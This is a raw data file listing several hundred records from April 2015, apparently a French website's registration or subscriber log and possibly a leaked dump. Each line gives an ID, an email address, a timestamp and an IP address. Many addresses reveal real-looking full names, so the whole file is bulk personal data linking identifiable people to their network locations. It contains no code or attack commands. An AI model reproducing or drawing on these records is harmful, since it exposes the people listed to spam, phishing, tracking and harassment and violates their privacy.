+8753;jhbert@voila.fr;2015-04-14 10:34:18;145.242.20.211 +8754;cali.mero91270@live.fr;2015-04-14 11:06:12;82.247.134.54 +8755;chdefrance@hotmail.fr;2015-04-14 11:07:11;92.142.68.45 +8756;Shugarbaby67@hotmail.fr;2015-04-14 11:09:32;37.160.242.246 +8757;carabossefee@hotmail.fr;2015-04-14 11:12:29;78.237.247.209 +8758;noelleleclerc@sfr.fr;2015-04-14 11:12:47;31.35.65.194 +8759;arm.cress@gmail.com;2015-04-14 11:12:50;77.147.39.161 +8760;sandrine.gauthier28@orange.fr;2015-04-14 11:12:55;86.196.1.155 +8761;armelle.cressini@club-internet.fr;2015-04-14 11:13:01;77.147.39.161 +8762;marynecheneau@yahoo.fr;2015-04-14 11:13:36;145.242.20.23 +8763;garennoise@hotmail.fr;2015-04-14 11:15:23;92.132.221.152 +8764;nevenka72@hotmail.fr;2015-04-14 11:18:49;83.196.220.64 +8765;karima.allard4@hotmail.fr;2015-04-14 11:21:11;82.66.169.90 +8766;virginie.vilcoq@gmail.com;2015-04-14 11:21:51;78.243.220.107 +8767;gmgeraldine39@gmail.com;2015-04-14 11:21:58;109.217.41.230 +8768;paul.fontana@orange.fr;2015-04-14 11:23:53;90.56.57.194 +8769;ferron.annie@wanadoo.fr;2015-04-14 11:24:52;92.158.241.131 +8770;marinegourtay@voila.fr;2015-04-14 11:28:44;81.223.121.58 +8771;aurelie.leplay@gmail.com;2015-04-14 11:34:28;5.48.95.164 +8772;ichiban29@orange.fr;2015-04-14 11:34:51;84.97.79.91 +8773;yannabuy@live.fr;2015-04-14 11:35:18;2.13.83.198 +8774;bourne_julia@hotmail.fr;2015-04-14 12:00:53;89.225.245.196 +8775;banomagali@orange.fr;2015-04-14 12:14:17;92.143.69.79 +8776;lapoulvereyrie@wanadoo.fr;2015-04-14 12:20:54;90.47.48.245 +8777;Alicecestmoi@hotmail.com;2015-04-14 12:26:47;78.200.11.26 +8778;mam.zellegaby@hotmail.fr;2015-04-14 12:27:54;109.20.54.43 +8779;mariefrance.gueyffier@aliceadsl.fr;2015-04-14 12:28:26;88.179.255.248 +8780;eeperennes@hotmail.com;2015-04-14 12:29:58;82.229.158.161 +8781;pascalguzzi62800@hotmail.fr;2015-04-14 12:34:33;81.66.17.157 +8782;corinne.rain@gmail.com;2015-04-14 13:08:04;86.67.89.150 +8783;celine.rix@voila.fr;2015-04-14 13:21:57;109.6.100.54 +8784;marina.du@wanadoo.fr;2015-04-14 13:30:22;92.137.6.75 +8785;heecham17@sfr.fr;2015-04-14 13:39:35;109.28.31.7 +8786;annefer@laposte.net;2015-04-14 13:44:04;83.154.49.51 +8787;sabine.baali@hotmail.fr;2015-04-14 13:44:52;164.177.20.1 +8788;aurem01@yahoo.fr;2015-04-14 13:49:05;77.134.168.41 +8789;idelorme@aliceadsl.fr;2015-04-14 13:52:10;194.79.156.18 +8790;CHRISTELLE.CARRIOL@ORANGE.FR;2015-04-14 14:07:35;109.223.7.11 +8791;sonia-mieger@hotmail.fr;2015-04-14 14:12:15;83.246.65.147 +8792;elotony@hotmail.fr;2015-04-14 14:14:27;81.255.141.29 +8793;ld.deleam@wanadoo.fr;2015-04-14 14:19:21;83.198.98.252 +8794;vanessarojas@hotmail.fr;2015-04-14 14:20:41;128.78.218.100 +8795;sutra.geraldine@outlook.fr;2015-04-14 14:33:04;78.124.20.232 +8796;lilounette30@hotmail.com;2015-04-14 14:44:54;88.167.220.207 +8797;karine.depelchin@gmail.com;2015-04-14 14:49:15;81.241.121.124 +8798;missbrazil9@hotmail.fr;2015-04-14 14:50:07;212.208.35.4 +8799;carole.leturque@dbmail.com;2015-04-14 14:51:05;81.64.8.175 +8800;rebecca.eder@gmail.com;2015-04-14 14:55:07;89.226.254.33 +8801;beapt-coqanglais@hotmail.com;2015-04-14 15:06:44;109.134.106.171 +8802;mariepierre.fouche@numericable.fr;2015-04-14 15:26:44;188.94.203.145 +8803;maryline.christophe@orange.fr;2015-04-14 15:30:23;86.196.216.83 +8804;olivier.meyer@search-factory.fr;2015-04-14 16:06:42;5.10.134.254 +8805;Diidiine1062@hotmail.fr;2015-04-14 16:12:27;90.84.145.23 +8806;catcollard.collard@gmail.com;2015-04-14 16:17:07;78.205.203.79 +8807;putigny.laurence@hotmail.fr;2015-04-14 16:39:23;86.67.24.236 +8808;rogergruchot@sfr.fr;2015-04-14 16:43:03;79.95.152.54 +8809;bettyboop-33@live.fr;2015-04-14 17:05:51;77.159.9.57 +8810;mimirenger@gmail.com;2015-04-14 17:08:38;92.88.115.48 +8811;charlene.chavigny@gmail.com;2015-04-14 17:18:12;92.93.255.144 +8812;canelle1734@gmail.com;2015-04-14 17:24:45;81.251.178.25 +8813;pabmcpinuki@orange.fr;2015-04-14 17:26:35;86.205.30.98 +8814;manuelimousin@yahoo.fr;2015-04-14 17:28:29;109.13.63.147 +8815;mmarchena@sfr.fr;2015-04-14 17:38:40;93.9.158.218 +8816;laure_94470@hotmail.fr;2015-04-14 18:10:33;88.176.1.230 +8817;valerie.jendrzejczyk@teledisnet.be;2015-04-14 18:23:27;95.182.129.135 +8818;alima.chamouma@free.fr;2015-04-14 18:25:15;78.246.205.47 +8819;nadine.cesar@hotmail.fr;2015-04-14 18:27:13;46.165.72.96 +8820;r.stephanie113@aliceadsl.fr;2015-04-14 18:36:08;93.25.244.25 +8821;corinne.estel@orange.fr;2015-04-14 18:42:02;83.201.92.104 +8822;madecale@sfr.fr;2015-04-14 18:47:14;78.123.107.254 +8823;aquemener@ymail.com;2015-04-14 18:53:32;84.5.158.162 +8824;keyra_du_17@hotmail.fr;2015-04-14 19:09:40;86.201.76.119 +8825;christine.thiroine@yahoo.fr;2015-04-14 19:14:20;77.192.185.84 +8826;plantin.chantale@free.fr;2015-04-14 19:25:53;78.200.90.117 +8827;malostia@yahoo.fr;2015-04-14 19:26:45;92.151.165.63 +8828;martine.delafosse@club-internet.fr;2015-04-14 19:32:06;77.146.120.161 +8829;angel.jamet@orange.fr;2015-04-14 19:37:33;92.160.47.204 +8830;coulonfrancoise@free.fr;2015-04-14 19:48:08;88.161.242.151 +8831;shadilesa@live.fr;2015-04-14 20:03:49;85.68.7.197 +8832;christine.matuchet@orange.fr;2015-04-14 20:09:33;90.27.110.143 +8833;flodup78@orange.fr;2015-04-14 20:14:34;82.232.210.229 +8834;christineferrero5@hotmail.com;2015-04-14 20:24:06;78.203.198.74 +8835;farre.justine@gmail.com;2015-04-14 20:52:30;85.27.83.21 +8836;caco954@hotmail.com;2015-04-14 20:59:35;90.36.162.230 +8837;sandrine.zanzi@sfr.fr;2015-04-14 21:15:22;88.141.230.31 +8838;mystika65@hotmail.fr;2015-04-14 21:19:19;93.11.19.124 +8839;meunier.estelle@gmail.com;2015-04-14 21:20:36;88.186.176.100 +8840;dfzz94@yahoo.fr;2015-04-14 21:20:59;89.224.154.81 +8841;francismichele13@orange.fr;2015-04-14 21:21:21;109.223.128.2 +8842;clain.raissa.974@gmail.com;2015-04-14 22:15:59;88.176.125.13 +8843;kaczmarek.valerie@free.fr;2015-04-14 22:22:00;82.226.170.30 +8844;pifounette57@hotmail.fr;2015-04-14 22:25:27;86.204.16.84 +8845;Sophie.berthe45@orange.fr;2015-04-14 22:39:38;86.220.197.65 +8846;c.bruneau@yahoo.fr;2015-04-14 22:44:05;82.225.119.129 +8847;kalios250@gmail.com;2015-04-14 23:05:11;176.144.180.210 +8848;isabelle.leclerc@outlook.fr;2015-04-14 23:06:22;92.155.198.128 +8849;isa29.frenais@yahoo.fr;2015-04-14 23:06:30;92.155.198.128 +8850;hugo2998@yahoo.fr;2015-04-14 23:06:37;92.155.198.128 +8851;chantale.houard@bbox.fr;2015-04-14 23:06:45;92.155.198.128 +8852;didierfrenais@yahoo.fr;2015-04-14 23:06:51;92.155.198.128 +8853;reginemombrun@yahoo.fr;2015-04-14 23:16:02;90.15.153.240 +8854;isabelle.conord@yahoo.fr;2015-04-14 23:23:27;89.85.237.244 +8855;mldiawara19@gmail.com;2015-04-14 23:50:14;78.223.61.235 +8856;bailleul.isabelle@laposte.net;2015-04-15 00:06:29;82.238.0.66 +8857;july.rsy@gmail.com;2015-04-15 01:02:16;193.48.221.61 +8858;Sevde.demire@gmail.com;2015-04-15 01:18:20;89.93.117.241 +8859;gaetane331@live.fr;2015-04-15 01:34:47;88.177.38.206 +8860;nathalievernet@hotmail.co.uk;2015-04-15 02:08:55;109.17.218.95 +8861;emiliemarie.petillon@gmail.com;2015-04-15 02:34:28;90.46.38.77 +8862;fleurdezone@yahoo.fr;2015-04-15 06:10:38;88.163.34.140 +8863;kathy.fontaine1@aliceadsl.fr;2015-04-15 06:24:32;78.250.220.227 +8864;kristelle59264@hotmail.fr;2015-04-15 06:45:35;88.166.119.45 +8865;vithea@free.fr;2015-04-15 07:16:27;78.239.12.116 +8866;grison.annie@neuf.fr;2015-04-15 07:18:32;89.170.210.234 +8867;vero-marie-w@orange.fr;2015-04-15 07:20:30;92.150.184.24 +8868;charlene.coniglio@gmail.com;2015-04-15 08:17:45;109.0.196.36 +8869;elisabethkmp@free.fr;2015-04-15 08:23:06;82.237.137.76 +8870;anais.delvit@gmail.com;2015-04-15 08:40:56;194.214.56.67 +8871;doselean@hotmail.fr;2015-04-15 08:42:21;78.240.243.6 +8872;marie-claire.subtil@orange.fr;2015-04-15 08:44:29;80.9.151.96 +8873;adorcas@hotmail.com;2015-04-15 09:02:43;90.44.70.167 +8874;Johanna.jrichard@gmail.com;2015-04-15 09:31:47;85.68.233.8 +8875;joelle541@hotmail.fr;2015-04-15 09:42:11;78.228.66.38 +8876;martine.bouchendhomme@gmail.com;2015-04-15 09:55:37;128.79.16.245 +8877;sylvie.frere4@free.fr;2015-04-15 10:28:20;88.183.152.168 +8878;famamu@free.fr;2015-04-15 11:54:49;82.242.58.132 +8879;sandraskibiak@sfr.fr;2015-04-15 11:59:52;88.127.0.236 +8880;fmpadkasnb@gmail.com;2015-04-15 12:05:08;90.0.43.132 +8881;mcb292@nyu.edu;2015-04-15 12:48:47;80.198.194.90 +8882;nadou_n@hotmail.com;2015-04-15 12:48:55;82.241.253.164 +8883;benedicte.bourboulon@yahoo.fr;2015-04-15 12:55:04;84.97.247.123 +8884;Birkenstock.anne@numericble.fr;2015-04-15 13:07:16;89.2.207.66 +8885;sylvie.berehouc@bbox.fr;2015-04-15 13:24:52;128.78.63.110 +8886;christine.baguette@orange.fr;2015-04-15 13:25:15;81.66.212.245 +8887;christiane.grasa@sfr.fr;2015-04-15 13:28:39;109.10.13.127 +8888;daniel.comte479@orange.fr;2015-04-15 13:39:37;109.212.126.66 +8889;passbrig@gmail.com;2015-04-15 13:40:16;87.91.247.61 +8890;agnesb29@gmail.com;2015-04-15 13:45:07;193.57.141.147 +8891;marionfollerot@wanadoo.fr;2015-04-15 13:49:30;83.201.91.249 +8892;jawo.delphine@yahoo.fr;2015-04-15 13:55:01;77.147.190.229 +8893;annabelle.plm@gmail.com;2015-04-15 14:24:43;88.169.169.44 +8894;marierup@yahoo.fr;2015-04-15 14:25:23;31.32.92.128 +8895;fabienne.herbomel@hotmail.fr;2015-04-15 14:26:27;90.11.79.32 +8896;delattre.raymonde@gmail.com;2015-04-15 14:28:10;90.38.161.42 +8897;celine.maelou@hotmail.fr;2015-04-15 14:34:45;90.22.115.81 +8898;noelia.collado@yrnet.com;2015-04-15 14:59:37;194.206.43.17 +8899;mleger971@hotmail.com;2015-04-15 15:00:31;81.248.27.106 +8900;nath.guilloud@hotmail.fr;2015-04-15 15:02:07;109.29.17.29 +8901;renee.gilbert@free.fr;2015-04-15 15:13:25;88.162.165.97 +8902;sarahgu2@hotmail.com;2015-04-15 15:46:20;129.194.8.73 +8903;loba@hotmail.fr;2015-04-15 16:15:32;62.34.79.141 +8904;carine.grifgnee@yahoo.fr;2015-04-15 16:19:41;91.183.221.21 +8905;lola95@hotmail.fr;2015-04-15 16:28:52;79.81.14.34 +8906;cpierremarie@hotmail.fr;2015-04-15 17:00:42;77.128.12.35 +8907;nomako@outlook.fr;2015-04-15 18:07:27;78.243.159.190 +8908;c.lac@neuf.fr;2015-04-15 18:11:59;93.27.129.174 +8909;rominetdaix@hotmail.com;2015-04-15 18:12:06;78.210.180.10 +8910;celine_frebourg@yahoo.fr;2015-04-15 18:23:49;93.25.180.9 +8911;Alissia14@hotmail.fr;2015-04-15 18:34:07;84.99.81.238 +8912;lagrilladine.catalane@aol.fr;2015-04-15 19:01:37;77.193.107.61 +8913;siino.lepoix@wanadoo.fr;2015-04-15 19:25:02;83.198.52.75 +8914;leadu007@gmail.com;2015-04-15 19:25:07;92.144.176.170 +8915;d.r.i.n.e@orange.fr;2015-04-15 20:19:38;81.250.37.147 +8916;chaumeilclaire@gmail.com;2015-04-15 20:24:37;92.128.75.195 +8917;aureliechassignol@hotmail.fr;2015-04-15 20:36:54;78.222.244.201 +8918;cecile.seidel@laposte.net;2015-04-15 20:41:42;78.53.125.111 +8919;paulinepasse@msn.com;2015-04-15 21:03:01;92.143.239.184 +8920;sandrine.ruer@laposte.net;2015-04-15 21:19:25;79.92.154.97 +8921;marieolivia20@gmail.com;2015-04-15 21:21:05;80.12.35.192 +8922;chris.barboux@gmail.com;2015-04-15 21:23:44;83.199.209.4 +8923;christine.thomas85@sfr.fr;2015-04-15 21:33:19;81.67.201.116 +8924;danigirard@yahoo.fr;2015-04-15 21:35:59;92.143.147.120 +8925;joce1777@yahoo.fr;2015-04-15 21:56:32;5.49.8.237 +8926;christelletom@hotmail.fr;2015-04-15 23:29:43;88.163.181.166 +8927;valerie.sautereau@wanadoo.fr;2015-04-15 23:47:35;78.234.49.56 +8928;ckelou@gmail.com;2015-04-16 04:08:59;90.30.219.208 +8929;nathalie.maisonnave@me.com;2015-04-16 05:36:25;77.84.142.197 +8930;dauphine-80@hotmail.fr;2015-04-16 07:26:04;78.232.181.23 +8931;anne-marie.durm@wanadoo.fr;2015-04-16 08:34:08;86.219.255.117 +8932;sylvie.jodar@sfr.fr;2015-04-16 08:38:02;86.73.133.245 +8933;emilie_sanchez_48@hotmail.com;2015-04-16 08:56:11;90.37.245.204 +8934;papalana@voila.fr;2015-04-16 08:59:25;88.184.144.33 +8935;yayaotte@sfr.fr;2015-04-16 09:26:11;213.44.65.199 +8936;martine.beck16@orange.fr;2015-04-16 09:28:37;78.115.114.67 +8937;chamseddine3000@gmail.com;2015-04-16 09:40:26;41.228.212.160 +8938;bethlizae555@laposte.net;2015-04-16 09:48:41;88.183.181.130 +8939;pitonetpuech@wanadoo.fr;2015-04-16 10:00:17;90.24.163.197 +8940;jaya46@orange.fr;2015-04-16 10:04:06;90.55.175.38 +8941;tacatoup@hotmail.com;2015-04-16 10:17:40;82.228.122.74 +8942;roselyne.piatti@sfr.fr;2015-04-16 11:22:46;78.124.158.223 +8943;veronique.kovacs@hotmail.fr;2015-04-16 11:35:31;213.169.189.20 +8944;tarrius.flore@gmail.com;2015-04-16 12:03:02;148.177.129.211 +8945;laulautte.b@hotmail.fr;2015-04-16 12:18:52;109.221.118.228 +8946;adamentines@hotmail.fr;2015-04-16 12:43:24;80.236.65.136 +8947;danilab@club-internet.fr;2015-04-16 13:03:32;195.132.33.181 +8948;odile.milano@laposte.net;2015-04-16 13:09:03;92.135.220.208 +8949;sandrineappere@laposte.net;2015-04-16 13:28:42;78.233.160.101 +8950;christine.pollefliet@laposte.net;2015-04-16 13:38:21;109.10.197.60 +8951;doug.raf@orange.fr;2015-04-16 13:39:14;92.138.85.63 +8952;olivier-54110@hotmail.fr;2015-04-16 13:42:25;88.141.61.11 +8953;jeanine.wegmuller@sfr.fr;2015-04-16 14:24:00;86.197.102.6 +8954;knl@kalixo.fr;2015-04-16 14:41:43;82.245.143.154 +8955;cidjee@hotmail.fr;2015-04-16 14:43:42;82.65.160.43 +8956;nadia.labainville@leblanc-scenique.com;2015-04-16 15:17:15;109.221.196.58 +8957;karinesl@orange.fr;2015-04-16 15:35:28;90.55.82.90 +8958;fort.deborah@hotmail.fr;2015-04-16 16:07:21;109.222.199.109 +8959;Catherine.dogoui@wanadoo.fr;2015-04-16 17:03:53;80.12.35.108 +8960;flavie_gerard@yahoo.fr;2015-04-16 17:43:58;83.141.245.140 +8961;ka.brueg@gmail.com;2015-04-16 17:46:22;83.201.153.183 +8962;contact@pharma6.info;2015-04-16 18:18:38;82.240.40.134 +8963;mousnier_angelique@yahoo.fr;2015-04-16 18:23:02;90.58.78.82 +8964;genevieve.masteau@outlook.fr;2015-04-16 18:27:01;109.215.156.95 +8965;muriel.audran@orange.fr;2015-04-16 20:07:57;92.129.214.45 +8966;corinne.bausiers@skynet.be;2015-04-16 20:12:16;80.201.52.35 +8967;brigittepharm@gmail.com;2015-04-16 20:17:13;88.188.180.120 +8968;caron.roselyne@wanadoo.fr;2015-04-16 20:19:32;77.148.146.63 +8969;didier.basile537@orange.fr;2015-04-16 21:09:15;82.122.243.191 +8970;etmaison8@gmail.com;2015-04-16 21:54:27;93.10.138.12 +8971;marylenewavrant@wanadoo.fr;2015-04-16 21:59:23;92.142.117.40 +8972;alda.b@hotmail.fr;2015-04-16 22:05:18;109.23.69.220 +8973;lannier.nat@gmail.com;2015-04-16 22:07:02;176.181.209.223 +8974;venturajerome@gmail.com;2015-04-16 22:24:07;78.192.47.111 +8975;jemenfou34@gmail.com;2015-04-16 22:44:29;78.125.128.77 +8976;kamazou54@yahoo.fr;2015-04-16 22:54:01;82.123.187.66 +8977;paule.trebaol@wanadoo.fr;2015-04-16 23:06:29;128.78.82.7 +8978;chocolate.eden@gmail.com;2015-04-16 23:15:19;81.49.221.191 +8979;isacho@orange.fr;2015-04-17 00:08:11;86.192.50.80 +8980;pascale.edom@hotmail.com;2015-04-17 01:12:26;91.182.192.59 +8981;jmvravier@neuf.fr;2015-04-17 08:05:02;86.67.19.95 +8982;coraline65@gmail.com;2015-04-17 08:10:56;176.180.175.144 +8983;isabrechet@free.fr;2015-04-17 08:43:59;82.251.11.24 +8984;flo.millet@neuf.fr;2015-04-17 08:56:17;109.132.212.184 +8985;sylvie.picamilh@hotmail.fr;2015-04-17 09:06:20;81.14.41.135 +8986;daniellepeuch@orange.fr;2015-04-17 09:10:54;86.206.113.94 +8987;david.delacroix3@wanadoo.fr;2015-04-17 09:12:24;109.26.209.89 +8988;jlekieffre@free.fr;2015-04-17 09:19:23;78.237.193.213 +8989;olivia_jeanneret@yahoo.fr;2015-04-17 09:28:28;92.150.38.167 +8990;fadelah72@hotmail.fr;2015-04-17 09:50:51;89.88.194.84 +8991;dansrine@club-internet.fr;2015-04-17 09:57:28;92.91.182.184 +8992;cajolinou@orange.fr;2015-04-17 10:01:35;82.127.177.188 +8993;brun.louis-gerard@orange.fr;2015-04-17 10:09:09;85.170.35.76 +8994;barbara.bebiano@yahoo.fr;2015-04-17 10:19:29;193.221.117.10 +8995;carolinotte@hotmail.fr;2015-04-17 11:27:18;89.156.228.32 +8996;raoulxaudrey@gmail.com;2015-04-17 12:15:41;78.199.154.94 +8997;delphinevidilhuguet@gmail.com;2015-04-17 12:22:50;194.242.44.26 +8998;val_1961@live.fr;2015-04-17 12:30:37;80.119.80.51 +8999;amandine.caillard@gmail.com;2015-04-17 12:50:53;78.198.176.54 +9000;ophelie.lemoine@laposte.net;2015-04-17 13:02:10;90.47.100.145 +9001;zazastyle1811@hotmail.fr;2015-04-17 13:17:23;92.90.21.127 +9002;patricia.daverio@sfr.fr;2015-04-17 13:26:23;77.153.37.74 +9003;marieladouce58@hotmail.com;2015-04-17 13:51:34;90.56.55.18 +9004;aubry_lauriane@yahoo.fr;2015-04-17 14:15:35;82.244.158.133 +9005;natty.libro27@gmail.com;2015-04-17 14:31:45;77.203.78.52 +9006;fannyarnold@orange.fr;2015-04-17 15:44:04;86.204.109.117 +9007;gallybzh@msn.com;2015-04-17 15:48:25;81.53.238.203 +9008;phil-nath3@orange..fr;2015-04-17 16:28:12;80.12.55.165 +9009;phil-nath3@orange.fr;2015-04-17 16:30:05;80.12.55.165 +9010;f.fontan@sudouest.fr;2015-04-17 16:31:18;86.65.43.70 +9011;patricia.gauvreau@numericable.fr;2015-04-17 17:15:33;81.67.181.75 +9012;bf.cier@gmail.com;2015-04-17 17:35:33;62.34.93.42 +9013;corinnebrunokalvin@hotmail.com;2015-04-17 18:12:12;77.134.202.122 +9014;marinevarlet@hotmail.fr;2015-04-17 18:23:53;109.9.121.65 +9015;francine.branche@orange.fr;2015-04-17 19:12:34;92.147.81.208 +9016;damoursabine@yahoo.fr;2015-04-17 19:21:22;89.93.198.39 +9017;marion.deroussent@gmail.com;2015-04-17 19:28:40;89.157.197.213 +9018;joss2a@orange.fr;2015-04-17 19:47:26;92.158.241.89 +9019;solangeknopf@gmail.com;2015-04-17 21:15:01;85.201.91.45 +9020;lolo_la_boss01@yahoo.fr;2015-04-17 21:28:48;92.89.189.80 +9021;eva.bt@orange.fr;2015-04-17 22:24:17;82.122.111.71 +9022;gaetcm@gmail.com;2015-04-18 02:31:44;90.51.56.119 +9023;chdesbarats@orange.fr;2015-04-18 07:41:03;90.21.241.87 +9024;soniamuller@outlook.fr;2015-04-18 09:56:34;109.217.17.99 +9025;sandra-menard@hotmail.fr;2015-04-18 09:57:04;2.9.40.69 +9026;mariion65@hotmail.fr;2015-04-18 10:07:58;80.13.30.25 +9027;lenoira@hotmail.fr;2015-04-18 10:08:27;90.32.107.232 +9028;chantal.duha@hotmail.fr;2015-04-18 10:26:38;88.184.133.47 +9029;sandysabbatini@orange.fr;2015-04-18 11:02:41;83.196.6.101 +9030;ludovic-barre@orange.fr;2015-04-18 12:14:15;2.0.50.132 +9031;aurelierapicault@yahoo.fr;2015-04-18 13:40:09;78.123.118.209 +9032;natacha.jambou@neuf.fr;2015-04-18 14:56:21;109.19.92.63 +9033;c.catwoman@laposte.net;2015-04-18 15:10:30;88.183.116.103 +9034;gaga54@hotmail.fr;2015-04-18 15:13:42;92.138.92.193 +9035;magali.belgeri@wanadoo.fr;2015-04-18 15:16:48;90.33.8.221 +9036;mariealain29@orange.fr;2015-04-18 15:19:32;2.10.226.237 +9037;lilicefarcy@yahoo.fr;2015-04-18 15:45:42;90.43.40.162 +9038;jocelyne.bordier@cegetel.net;2015-04-18 16:18:56;86.77.231.51 +9039;marine.rev@orange.fr;2015-04-18 16:21:29;86.203.72.178 +9040;isabelle.melinon@hotmail.fr;2015-04-18 16:49:35;88.186.108.249 +9041;huguetpicard@free.fr;2015-04-18 17:06:55;82.226.138.164 +9042;spasquali@wanadoo.fr;2015-04-18 17:17:01;86.204.8.120 +9043;ysatis50@hotmail.fr;2015-04-18 17:28:44;91.88.73.25 +9044;sissihilaire@yahoo.com;2015-04-18 18:38:11;90.38.77.169 +9045;ptitpoux@ebuyclub.com;2015-04-18 19:00:27;86.212.235.143 +9046;martinerobin57@gmail.com;2015-04-18 19:17:04;90.26.196.148 +9047;himalaya@wanadoo.fr;2015-04-18 19:44:15;86.196.243.185 +9048;charlotte.garnier@voila.fr;2015-04-18 20:05:37;77.148.156.152 +9049;brigittemenu57@orange.fr;2015-04-18 20:06:07;86.215.80.93 +9050;virginie.voinchet@sfr.fr;2015-04-18 21:06:35;88.162.162.139 +9051;valp35@gmail.com;2015-04-18 21:44:46;77.192.253.114 +9052;orteganathalie@yahoo.fr;2015-04-18 22:21:37;90.5.214.31 +9053;ashfaqramjan@gmail.com;2015-04-18 22:42:43;41.136.131.45 +9054;maquin.joelle@wanadoo.fr;2015-04-18 23:02:41;83.158.54.4 +9055;angelica11@laposte.net;2015-04-18 23:35:01;78.250.30.58 +9056;maxantsandrine@gmail.com;2015-04-18 23:44:55;92.131.148.165 +9057;marlenebam@wanadoo.fr;2015-04-19 00:04:40;77.145.1.8 +9058;tetarùmania@hotmail.com;2015-04-19 00:30:23;85.192.249.43 +9059;dorine.tesson@orange.fr;2015-04-19 07:46:57;109.20.183.98 +9060;contrefacon311@gmail.com;2015-04-19 08:05:35;89.84.193.97 +9061;danydeco@laposte.net;2015-04-19 08:37:59;92.158.32.94 +9062;sempe.nadine@free.fr;2015-04-19 09:27:24;88.179.220.3 +9063;fra.mi@hotmail.it;2015-04-19 09:28:03;79.40.32.162 +9064;charlotte.saragosa@gmail.com;2015-04-19 09:56:15;80.8.228.91 +9065;mabillejlm@free.fr;2015-04-19 10:08:31;82.239.44.229 +9066;aureliedu77230@live.fr;2015-04-19 10:22:57;82.121.13.251 +9067;l.calmel81@gmail.com;2015-04-19 10:35:32;92.149.213.159 +9068;orelie.martin@free.fr;2015-04-19 10:49:30;88.163.184.15 +9069;severine.bruno@live.fr;2015-04-19 10:59:16;213.245.71.178 +9070;mamiemtc1@yahoo.fr;2015-04-19 11:06:30;78.208.248.102 +9071;b.sanchez-grande@voila.fr;2015-04-19 11:18:17;81.64.15.34 +9072;ryrobert@orange.fr;2015-04-19 11:24:55;90.0.124.90 +9073;sophanie59@hotmail.fr;2015-04-19 11:34:20;176.149.141.218 +9074;corinne.zuglian@yahoo.fr;2015-04-19 11:46:57;86.179.82.216 +9075;evoliane@orange.fr;2015-04-19 11:59:54;2.12.6.82 +9076;eve2410@9online.fr;2015-04-19 12:32:32;212.198.96.65 +9077;mamounette82@free.fr;2015-04-19 12:33:39;109.223.32.3 +9078;deunize@aol.com;2015-04-19 13:01:03;79.89.96.67 +9079;michelineramtahal@gmail.com;2015-04-19 13:05:32;90.41.26.163 +9080;audrey.angeletti@neuf.fr;2015-04-19 13:21:47;78.248.3.20 +9081;mireille.ribero@wanadoo.fr;2015-04-19 13:59:05;92.150.219.136 +9082;semail.virginie@neuf.fr;2015-04-19 14:21:05;88.138.213.219 +9083;caroline.bravard@free.fr;2015-04-19 14:46:41;92.143.146.206 +9084;gaala_andrea@yahoo.com;2015-04-19 15:33:43;85.26.38.223 +9085;gwenadom@ool.fr;2015-04-19 16:22:20;109.62.33.237 +9086;solangea54@hotmail.ca;2015-04-19 16:30:39;96.23.139.123 +9087;caroline.penichon@neuf.fr;2015-04-19 16:31:12;77.194.66.208 +9088;jean-claude.ducournau@orange.fr;2015-04-19 16:54:27;86.222.71.151 +9089;lucieetoile@hotmail.fr;2015-04-19 18:04:46;82.123.248.172 +9090;catwoman2006@sfr.fr;2015-04-19 18:20:18;109.22.92.153 +9091;ludi.friquet@hotmail.fr;2015-04-19 18:35:25;90.32.46.207 +9092;raimbault.ramdane@wanadoo.fr;2015-04-19 18:46:46;90.63.26.169 +9093;muriel.lopez@cegetel.net;2015-04-19 19:03:30;77.130.207.151 +9094;pauline.wolmann@orange.fr;2015-04-19 19:11:11;81.250.207.89 +9095;acadilhac@yahoo.fr;2015-04-19 19:14:06;90.37.224.179 +9096;marjoriegin@yahoo.fr;2015-04-19 19:17:10;79.89.181.167 +9097;mandeville.muguette@orange.fr;2015-04-19 19:20:41;90.23.100.37 +9098;kahina.moussouni@iscparis.com;2015-04-19 20:00:25;78.250.245.95 +9099;alaineja@gmail.com;2015-04-19 20:03:07;83.134.217.30 +9100;solo.faller@yahoo.fr;2015-04-19 20:09:34;85.117.140.111 +9101;solo.faller@ahoo.fr;2015-04-19 20:09:58;85.117.140.111 +9102;sisi1205@outlook.fr;2015-04-19 20:10:16;82.67.53.131 +9103;beatrice.mouille@wanadoo.fr;2015-04-19 20:10:56;90.59.47.194 +9104;marie.cavalier@gmail.com;2015-04-19 20:31:01;88.172.20.124 +9105;raph.anthony@orange.fr;2015-04-19 20:31:08;86.218.133.129 +9106;abpatis@yahoo.fr;2015-04-19 20:36:38;91.68.251.217 +9107;dhervemuriel@gmail.com;2015-04-19 20:40:39;188.141.170.26 +9108;delphine.willemin@neuf.fr;2015-04-19 20:40:41;109.11.11.104 +9109;vero.mazeres@orange.fr;2015-04-19 20:51:12;86.206.17.229 +9110;caroline.auger@dartybox.com;2015-04-19 20:53:18;87.89.31.36 +9111;bettylall@free.fr;2015-04-19 21:18:27;78.228.20.58 +9112;sabrina.cardes@hotmail.fr;2015-04-19 22:02:01;78.247.1.89 +9113;benedicte.courbin@yahoo.fr;2015-04-19 22:11:29;41.141.45.158 +9114;claranaliato@gmail.com;2015-04-19 22:29:19;109.213.86.187 +9115;pigamireille@yahoo.fr;2015-04-19 22:59:22;109.11.11.106 +9116;souad59chleuha@hotmail.fr;2015-04-19 23:11:19;88.174.32.49 +9117;evadierstein@yahoo.fr;2015-04-19 23:58:52;82.224.238.37 +9118;carjeanny@yahoo.fr;2015-04-20 02:12:51;88.141.253.165 +9119;ramonamihai17@yahoo.fr;2015-04-20 07:37:04;78.250.84.107 +9120;annierossi@wanadoo.fr;2015-04-20 08:01:04;80.9.70.35 +9121;carole.moscon@orange.fr;2015-04-20 08:26:51;62.161.8.153 +9122;josyane.boisset@hotmail.fr;2015-04-20 08:32:04;88.137.80.245 +9123;rcflowers50@gmail.com;2015-04-20 08:43:42;37.161.215.231 +9124;gladys.reinhard@bluewin.ch;2015-04-20 09:16:20;85.1.31.175 +9125;elisabeth.jaunet@gmail.com;2015-04-20 09:48:41;195.33.116.13 +9126;solangearnaud@neuf.fr;2015-04-20 10:02:44;93.26.19.31 +9127;sandrine.laurent-fontaine@laposte.net;2015-04-20 10:19:52;193.49.22.128 +9128;christine44.gasnier@laposte.net;2015-04-20 10:48:02;83.195.141.23 +9129;cocolecomte1@gmail.com;2015-04-20 10:56:40;90.83.51.21 +9130;ncwitch@hotmail.fr;2015-04-20 11:06:39;194.98.114.101 +9131;p.tejedor@libertysurf.fr;2015-04-20 11:29:24;92.136.251.160 +9132;celine.etchenique@hotmail.fr;2015-04-20 12:27:06;80.13.153.26 +9133;cpaingault@bbox.fr;2015-04-20 13:04:23;193.227.133.101 +9134;angelique.boulere@laposte.net;2015-04-20 13:29:19;86.235.196.71 